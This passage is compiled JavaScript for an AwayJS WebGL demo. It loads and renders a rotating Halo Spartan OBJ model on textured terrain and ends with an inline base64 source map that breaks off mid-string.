this.view.backgroundColor = 0xCEC8C6; this.raf = new RequestAnimationFrame_1.RequestAnimationFrame(this.render, this); this.light = new DirectionalLight_1.DirectionalLight(); this.light.color = 0xc1582d; this.light.direction = new Vector3D_1.Vector3D(1, 0, 0); this.light.ambient = 0.4; this.light.ambientColor = 0x85b2cd; this.light.diffuse = 2.8; this.light.specular = 1.8; this.view.scene.addChild(this.light); this.spartan.transform.scaleTo(.25, .25, .25); this.spartan.y = 0; this.view.scene.addChild(this.spartan); AssetLibrary_1.AssetLibrary.enableParser(OBJParser_1.OBJParser); var session; session = AssetLibrary_1.AssetLibrary.getLoader(); session.addEventListener(LoaderEvent_1.LoaderEvent.LOAD_COMPLETE, function (event) { return _this.onLoadComplete(event); }); session.load(new URLRequest_1.URLRequest('assets/Halo_3_SPARTAN4.obj')); session = AssetLibrary_1.AssetLibrary.getLoader(); session.addEventListener(LoaderEvent_1.LoaderEvent.LOAD_COMPLETE, function (event) { return _this.onLoadComplete(event); }); session.load(new URLRequest_1.URLRequest('assets/terrain.obj')); session = AssetLibrary_1.AssetLibrary.getLoader(); session.addEventListener(LoaderEvent_1.LoaderEvent.LOAD_COMPLETE, function (event) { return _this.onLoadComplete(event); }); session.load(new URLRequest_1.URLRequest('assets/masterchief_base.png')); session = AssetLibrary_1.AssetLibrary.getLoader(); session.addEventListener(LoaderEvent_1.LoaderEvent.LOAD_COMPLETE, function (event) { return _this.onLoadComplete(event); }); session.load(new URLRequest_1.URLRequest('assets/stone_tx.jpg')); window.onresize = function (event) { return _this.onResize(); }; this.raf.start(); } ObjChiefTestDay.prototype.render = function () { if (this.terrain) this.terrain.rotationY += 0.4; this.spartan.rotationY += 0.4; this.view.render(); }; ObjChiefTestDay.prototype.onLoadComplete = function (event) { var loader = event.target; var l = loader.baseDependency.assets.length; console.log('------------------------------------------------------------------------------'); console.log('events.LoaderEvent.RESOURCE_COMPLETE', event, l, loader); console.log('------------------------------------------------------------------------------'); var l = loader.baseDependency.assets.length; for (var c = 0; c < l; c++) { var d = loader.baseDependency.assets[c]; console.log(d.name, event.url); switch (d.assetType) { case Sprite_1.Sprite.assetType: if (event.url == 'assets/Halo_3_SPARTAN4.obj') { var sprite = d; this.spartan.addChild(sprite); this.spartanFlag = true; this.sprites.push(sprite); } else if (event.url == 'assets/terrain.obj') { this.terrain = d; this.terrain.y = 98; this.terrain.graphics.scaleUV(20, 20); this.view.scene.addChild(this.terrain); } break; case BitmapImage2D_1.BitmapImage2D.assetType: if (event.url == 'assets/masterchief_base.png') { this.mat = new MethodMaterial_1.MethodMaterial(d); this.mat.style.sampler = new Sampler2D_1.Sampler2D(true, true, false); this.mat.lightPicker = new StaticLightPicker_1.StaticLightPicker([this.light]); } else if (event.url == 'assets/stone_tx.jpg') { this.terrainMaterial = new MethodMaterial_1.MethodMaterial(d); this.terrainMaterial.style.sampler = new Sampler2D_1.Sampler2D(true, true, false); this.terrainMaterial.lightPicker = new StaticLightPicker_1.StaticLightPicker([this.light]); } break; } } if (this.terrain && this.terrainMaterial) this.terrain.material = this.terrainMaterial; if (this.mat && this.spartanFlag) for (var c = 0; c < this.sprites.length; c++) this.sprites[c].material = this.mat; this.onResize(); }; ObjChiefTestDay.prototype.onResize = function (event) { if (event === void 0) { event = null; } this.view.y = 0; this.view.x = 0; this.view.width = window.innerWidth; this.view.height = window.innerHeight; }; return ObjChiefTestDay; }()); //# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInBhcnNlcnMvT2JqQ2hpZWZUZXN0RGF5LnRzIl0sIm5hbWVzIjpbXSwibWFwcGluZ3MiOiI7QUFBQSw4QkFBK0IscUNBQXFDLENBQUMsQ0FBQTtBQUNyRSwwQkFBNEIsaUNBQWlDLENBQUMsQ0FBQTtBQUM5RCw0QkFBOEIsb0NBQW9DLENBQUMsQ0FBQTtBQUNuRSx5QkFBNEIsK0JBQStCLENBQUMsQ0FBQTtBQUM1RCw2QkFBK0Isc0NBQXNDLENBQUMsQ0FBQTtBQUd0RSwyQkFBNkIsZ0NBQWdDLENBQUMsQ0FBQTtBQUM5RCxzQkFBeUIsNkJBQTZCLENBQUMsQ0FBQTtBQUN2RCxzQ0FBcUMsNkNBQTZDLENBQUMsQ0FBQTtBQUVuRixxQkFBeUIseUJBQXlCLENBQUMsQ0FBQTtBQUNuRCx1Q0FBc0MsbURBQW1ELENBQUMsQ0FBQTtBQUMxRixpQ0FBa0MsNkNBQTZDLENBQUMsQ0FBQTtBQUNoRix1QkFBMEIsbUNBQW1DLENBQUMsQ0FBQTtBQUM5RCxrQ0FBa0MsNkRBQTZELENBQUMsQ0FBQTtBQUVoRyxnQ0FBaUMsdUNBQXVDLENBQUMsQ0FBQTtBQUV6RSwrQkFBZ0MsMkNBQTJDLENBQUMsQ0FBQTtBQUU1RSwwQkFBNEIsOEJBQThCLENBQUMsQ0FBQTtBQUUzRDs7R0FFRztBQUNIO0lBZ0JDO1FBaEJELGlCQThJQztRQTFJUSxZQUFPLEdBQWlCLElBQUksS0FBSyxFQUFVLENBQUM7UUFPNUMsWUFBTyxHQUEwQixJQUFJLCtDQUFzQixFQUFFLENBQUM7UUFHOUQsZ0JBQVcsR0FBVyxLQUFLLENBQUM7UUFJbkMsYUFBSyxDQUFDLGFBQWEsR0FBRyxLQUFLLENBQUM7UUFDNUIsYUFBSyxDQUFDLFlBQVksR0FBRyxLQUFLLENBQUM7UUFFM0IsSUFBSSxDQUFDLElBQUksR0FBRyxJQUFJLFdBQUksQ0FBQyxJQUFJLGlDQUFlLEVBQUUsQ0FBQyxDQUFDO1FBQzVDLElBQUksQ0FBQyxJQUFJLENBQUMsTUFBTSxDQUFDLENBQUMsR0FBRyxDQUFDLEVBQUUsQ0FBQztRQUN6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QUUsQ0FBQztJQUNqQixDQUFDO0lBRU0sa0NBQVEsR0FBZixVQUFnQixLQUFvQjtRQUFwQixxQkFBb0IsR0FBcEIsWUFBb0I7UUFFbkMsSUFBSSxDQUFDLElBQUksQ0FBQyxDQUFDLEdBQUcsQ0FBQyxDQUFDO1FBQ2hCLElBQUksQ0FBQyxJQUFJLENBQUMsQ0FBQyxHQUFHLENBQUMsQ0FBQztRQUVoQixJQUFJLENBQUMsSUFBSSxDQUFDLEtBQUssR0FBRyxNQUFNLENBQUMsVUFBVSxDQUFDO1FBQ3BDLElBQUksQ0FBQyxJQUFJLENBQUMsTUFBTSxHQUFHLE1BQU0sQ0FBQyxXQUFXLENBQUM7SUFDdkMsQ0FBQztJQUNGLHNCQUFDO0FBQUQsQ0E5SUEsQUE4SUMsSUFBQSIsImZpbGUiOiJwYXJzZXJzL09iakNoaWVmVGVzdERheS5qcyIsInNvdXJjZXNDb250ZW50IjpbImltcG9ydCB7Qml0bWFwSW1hZ2UyRH1cdFx0XHRcdGZyb20gXCJhd2F5anMtY29yZS9saWIvaW1hZ2UvQml0bWFwSW1hZ2UyRFwiO1xuaW1wb3J0IHtTYW1wbGVyMkR9XHRcdFx0XHRcdGZyb20gXCJhd2F5anMtY29yZS9saWIvaW1hZ2UvU2FtcGxlcjJEXCI7XG5pbXBvcnQge0xvYWRlckV2ZW50fVx0XHRcdFx0XHRmcm9tIFwiYXdheWpzLWNvcmUvbGliL2V2ZW50cy9Mb2FkZXJFdmVudFwiO1xuaW1wb3J0IHtWZWN0b3IzRH1cdFx0XHRcdFx0XHRmcm9tIFwiYXdheWpzLWNvcmUvbGliL2dlb20vVmVjdG9yM0RcIjtcbmltcG9ydCB7QXNzZXRMaWJyYXJ5fVx0XHRcdFx0XHRmcm9tIFwiYXdheWpzLWNvcmUvbGliL2xpYnJhcnkvQXNzZXRMaWJyYXJ5XCI7XG5pbXBvcnQge0xvYWRlcn1cdFx0XHRcdFx0XHRmcm9tIFwiYXdheWpzLWNvcmUvbGliL2xpYnJhcnkvTG9hZGVyXCI7XG5pbXBvcnQge0lBc3NldH1cdFx0XHRcdFx0XHRmcm9tIFwiYXdheWpzLWNvcmUvbGliL2xpYnJhcnkvSUFzc2V0XCI7XG5pbXBvcnQge1VSTFJlcXVlc3R9XHRcdFx0XHRcdGZyb20gXCJhd2F5anMtY29yZS9saWIvbmV0L1VSTFJlcXVlc3RcIjtcbmltcG9ydCB7RGVidWd9XHRcdFx0XHRcdFx0ZnJvbSBcImF3YXlqcy1jb3JlL2xpYi91dGlscy9EZWJ1Z1wiO1xuaW1wb3J0IHtSZXF1ZXN0QW5pbWF0aW9uRnJhbWV9XHRcdGZyb20gXCJhd2F5anMtY29yZS9saWIvdXRpbHMvUmVxdWVzdEFuaW1hdGlvbkZyYW1lXCI7XG5cbmltcG9ydCB7Vmlld31cdFx0XHRcdFx0XHRcdGZyb20gXCJhd2F5anMtZGlzcGxheS9saWIvVmlld1wiO1xuaW1wb3J0IHtEaXNwbGF5T2JqZWN0Q29udGFpbmVyfVx0XHRmcm9tIFwiYXdheWpzLWRpc3BsYXkvbGliL2Rpc3BsYXkvRGlzcGxheU9iamVjdENvbnRhaW5lclwiO1xuaW1wb3J0IHtEaXJlY3Rpb25hbExpZ2h0fVx0XHRcdFx0ZnJvbSBcImF3YXlqcy1kaXNwbGF5L2xpYi9kaXNwbGF5L0RpcmVjdGlvbmFsTGlnaHRcIjtcbmltcG9ydCB7U3ByaXRlfVx0XHRcdFx0XHRcdGZyb20gXCJhd2F5anMtZGlzcGxheS9saWIvZGlzcGxheS9TcHJpdGVcIjtcbmltcG9ydCB7U3RhdGljTGlnaHRQaWNrZXJ9XHRcdFx0ZnJvbSBcImF3YXlqcy1kaXNwbGF5L2xpYi9tYXRlcmlhbHMvbGlnaHRwaWNrZXJzL1N0YXRpY0xpZ2h0UGlja2VyXCI7XG5cbmltcG9ydCB7RGVmYXVsdFJlbmRlcmVyfVx0XHRcdFx0ZnJvbSBcImF3YXlqcy1yZW5kZXJlcmdsL2xpYi9EZWZhdWx0UmVuZGVyZXJcIjtcblxuaW1wb3J0IHtNZXRob2RNYXRlcmlhbH1cdFx0XHRcdGZyb20gXCJhd2F5anMtbWV0aG9kbWF0ZXJpYWxzL2xpYi9NZXRob2RNYXRlcmlhbFwiO1xuXG5pbXBvcnQge09CSlBhcnNlcn1cdFx0XHRcdFx0ZnJvbSBcImF3YXlqcy1wYXJzZXJzL2xpYi9PQkpQYXJzZXJcIjtcblxuLyoqXG4gKiBcbiAqL1xuY2xhc3MgT2JqQ2hpZWZUZXN0RGF5XG57XG5cdHByaXZhdGUgdmlldzpWaWV3O1xuXHRwcml2YXRlIHJhZjpSZXF1ZXN0QW5pbWF0aW9uRnJhbWU7XG5cdHByaXZhdGUgc3ByaXRlczpBcnJheTxTcHJpdGU+ID0gbmV3IEFycmF5PFNwcml0ZT4oKTtcblx0cHJpdmF0ZSBtYXQ6TWV0aG9kTWF0ZXJpYWw7XG5cblx0cHJpdmF0ZSB0ZXJyYWluTWF0ZXJpYWw6TWV0aG9kTWF0ZXJpYWw7XG5cblx0cHJpdmF0ZSBsaWdodDpEaXJlY3Rpb25hbExpZ2h0O1xuXG5cdHByaXZhdGUgc3BhcnRhbjpEaXNwbGF5T2JqZWN0Q29udGFpbmVyID0gbmV3IERpc3BsYXlPYmplY3RDb250YWluZXIoKTtcblx0cHJpdmF0ZSB0ZXJyYWluOlNwcml0ZTtcblxuXHRwcml2YXRlIHNwYXJ0YW5GbGFnOmJvb2xlYW4gPSBmYWxzZTtcblxuXHRjb25zdHJ1Y3RvcigpXG5cdHtcblx0XHREZWJ1Zy5MT0dfUElfRVJST1JTID0gZmFsc2U7XG5cdFx0RGVidWcuVEhST1dfRVJST1JTID0gZmFsc2U7XG5cblx0XHR0aGlzLnZpZXcgPSBuZXcgVmlldyhuZXcgRGVmYXVsdFJlbmRlcmVyKCkpO1xuXHRcdHRoaXMudmlldy5jYW1lcmEueiA9IC01MDtcblx0XHR0aGlzLnZpZXcuY2FtZXJhLnkgPSAyMDtcblx0XHR0aGlzLnZpZXcuY2FtZXJhLnByb2plY3Rpb24ubmVhciA9IDAuMTtcblx0XHR0aGlzLnZpZXcuYmFja2dyb3VuZENvbG9yID0gMHhDRUM4QzY7XG5cblx0XHR0aGlzLnJhZiA9IG5ldyBSZXF1ZXN0QW5pbWF0aW9uRnJhbWUodGhpcy5yZW5kZXIsIHRoaXMpO1xuXG5cdFx0dGhpcy5saWdodCA9IG5ldyBEaXJlY3Rpb25hbExpZ2h0KCk7XG5cdFx0dGhpcy5saWdodC5jb2xvciA9IDB4YzE1ODJkO1xuXHRcdHRoaXMubGlnaHQuZGlyZWN0aW9uID0gbmV3IFZlY3RvcjNEKDEsIDAsIDApO1xuXHRcdHRoaXMubGlnaHQuYW1iaWVudCA9IDAuNDtcblx0XHR0aGlzLmxpZ2h0LmFtYmllbnRDb2xvciA9IDB4ODViMmNkO1xuXHRcdHRoaXMubGlnaHQuZGlmZnVzZSA9IDIuODtcblx0XHR0aGlzLmxpZ2h0LnNwZWN1bGFyID0gMS44O1xuXHRcdHRoaXMudmlldy5zY2VuZS5hZGRDaGlsZCh0aGlzLmxpZ2h0KTtcblxuXHRcdHRoaXMuc3BhcnRhbi50cmFuc2Zvcm0uc2NhbGVUbyguMjUsIC4yNSwgLjI1KTtcblx0XHR0aGlzLnNwYXJ0YW4ueSA9IDA7XG5cdFx0dGhpcy52aWV3LnNjZW5lLmFkZENoaWxkKHRoaXMuc3BhcnRhbik7XG5cblx0XHRBc3NldExpYnJhcnkuZW5hYmxlUGFyc2VyKE9CSlBhcnNlcik7XG5cblx0XHR2YXIgc2Vzc2lvbjpMb2FkZXI7XG5cblx0XHRzZXNzaW9uID0gQXNzZXRMaWJyYXJ5LmdldExvYWRlcigpO1xuXHRcdHNlc3Npb24uYWRkRXZlbnRMaXN0ZW5lcihMb2FkZXJFdmVudC5MT0FEX0NPTVBMRVRFLCAoZXZlbnQ6TG9hZGVyRXZlbnQpID0+IHRoaXMub25Mb2FkQ29tcGxldGUoZXZlbnQpKTtcblx0XHRzZXNzaW9uLmxvYWQobmV3IFVSTFJlcXVlc3QoJ2Fzc2V0cy9IYWxvXzNfU1BBUlRBTjQub2JqJykpO1xuXG5cdFx0c2Vzc2lvbiA9IEFzc2V0TGlicmFyeS5nZXRMb2FkZXIoKTtcblx0XHRzZXNzaW9uLmFkZEV2ZW50TGlzdGVuZXIoTG9hZGVyRXZlbnQuTE9BRF9DT01QTEVURSwgKGV2ZW50OkxvYWRlckV2ZW50KSA9PiB0aGlzLm9uTG9hZENvbXBsZXRlKGV2ZW50KSk7XG5cdFx0c2Vzc2lvbi5sb2FkKG5ldyBVUkxSZXF1ZXN0KCdhc3NldHMvdGVycmFpbi5vYmonKSk7XG5cblx0XHRzZXNzaW9uID0gQXNzZXRMaWJyYXJ5LmdldExvYWRlcigpO1xuXHRcdHNlc3Npb24uYWRkRXZlbnRMaXN0ZW5lcihMb2FkZXJFdmVudC5MT0FEX0NPTVBMRVRFLCAoZXZlbnQ6TG9hZGVyRXZlbnQpID0+IHRoaXMub25Mb2FkQ29tcGxldGUoZXZlbnQpKTtcblx0XHRzZXNzaW9uLmxvYWQobmV3IFVSTFJlcXVlc3QoJ2Fzc2V0cy9tYXN0ZXJjaGllZl9iYXNlLnBuZycpKTtcblxuXHRcdHNlc3Npb24gPSBBc3NldExpYnJhcnkuZ2V0TG9hZGVyKCk7XG5cdFx0c2Vzc2lvbi5hZGRFdmVudExpc3RlbmVyKExvYWRlckV2ZW50LkxPQURfQ09NUExFVEUsIChldmVudDpMb2FkZXJFdmVudCkgPT4gdGhpcy5vbkxvYWRDb21wbGV0ZShldmVudCkpO1xuXHRcdHNlc3Npb24ubG9hZChuZXcgVVJMUmVxdWVzdCgnYXNzZXRzL3N0b25lX3R4LmpwZycpKTtcblxuXHRcdHdpbmRvdy5vbnJlc2l6ZSA9IChldmVudDpVSUV2ZW50KSA9PiB0aGlzLm9uUmVzaXplKCk7XG5cblx0XHR0aGlzLnJhZi5zdGFydCgpO1xuXHR9XG5cblx0cHJpdmF0ZSByZW5kZXIoKVxuXHR7XG5cdFx0aWYgKCB0aGlzLnRlcnJhaW4pXG5cdFx0XHR0aGlzLnRlcnJhaW4ucm90YXRpb25ZICs9IDAuNDtcblxuXHRcdHRoaXMuc3BhcnRhbi5yb3RhdGlvblkgKz0gMC40O1xuXHRcdHRoaXMudmlldy5yZW5kZXIoKTtcblx0fVxuXG5cdHB1YmxpYyBvbkxvYWRDb21wbGV0ZShldmVudDpMb2FkZXJFdmVudClcblx0e1xuXHRcdHZhciBsb2FkZXI6TG9hZGVyID0gZXZlbnQudGFyZ2V0O1xuXHRcdHZhciBsOm51bWJlciA9IGxvYWRlci5iYXNlRGVwZW5kZW5jeS5hc3NldHMubGVuZ3RoO1xuXG5cdFx0Y29uc29sZS5sb2coJy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLScpO1xuXHRcdGNvbnNvbGUubG9nKCdldmVudHMuTG9hZGVyRXZlbnQuUkVTT1VSQ0VfQ09NUExFVEUnLCBldmVudCwgbCwgbG9hZGVyKTtcblx0XHRjb25zb2xlLmxvZygnLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tJyk7XG5cblx0XHR2YXIgbDpudW1iZXIgPSBsb2FkZXIuYmFzZURlcGVuZGVuY3kuYXNzZXRzLmxlbmd0aDtcblxuXHRcdGZvciAodmFyIGM6bnVtYmVyID0gMDsgYyA8IGw7IGMrKykge1xuXG5cdFx0XHR2YXIgZDpJQXNzZXQgPSBsb2FkZXIuYmFzZURlcGVuZGVuY3kuYXNzZXRzW2NdO1xuXG5cdFx0XHRjb25zb2xlLmxvZyggZC5uYW1lICwgZXZlbnQudXJsKTtcblxuXHRcdFx0c3dpdGNoIChkLmFzc2V0VHlwZSkge1xuXHRcdFx0XHRjYXNlIFNwcml0ZS5hc3NldFR5cGU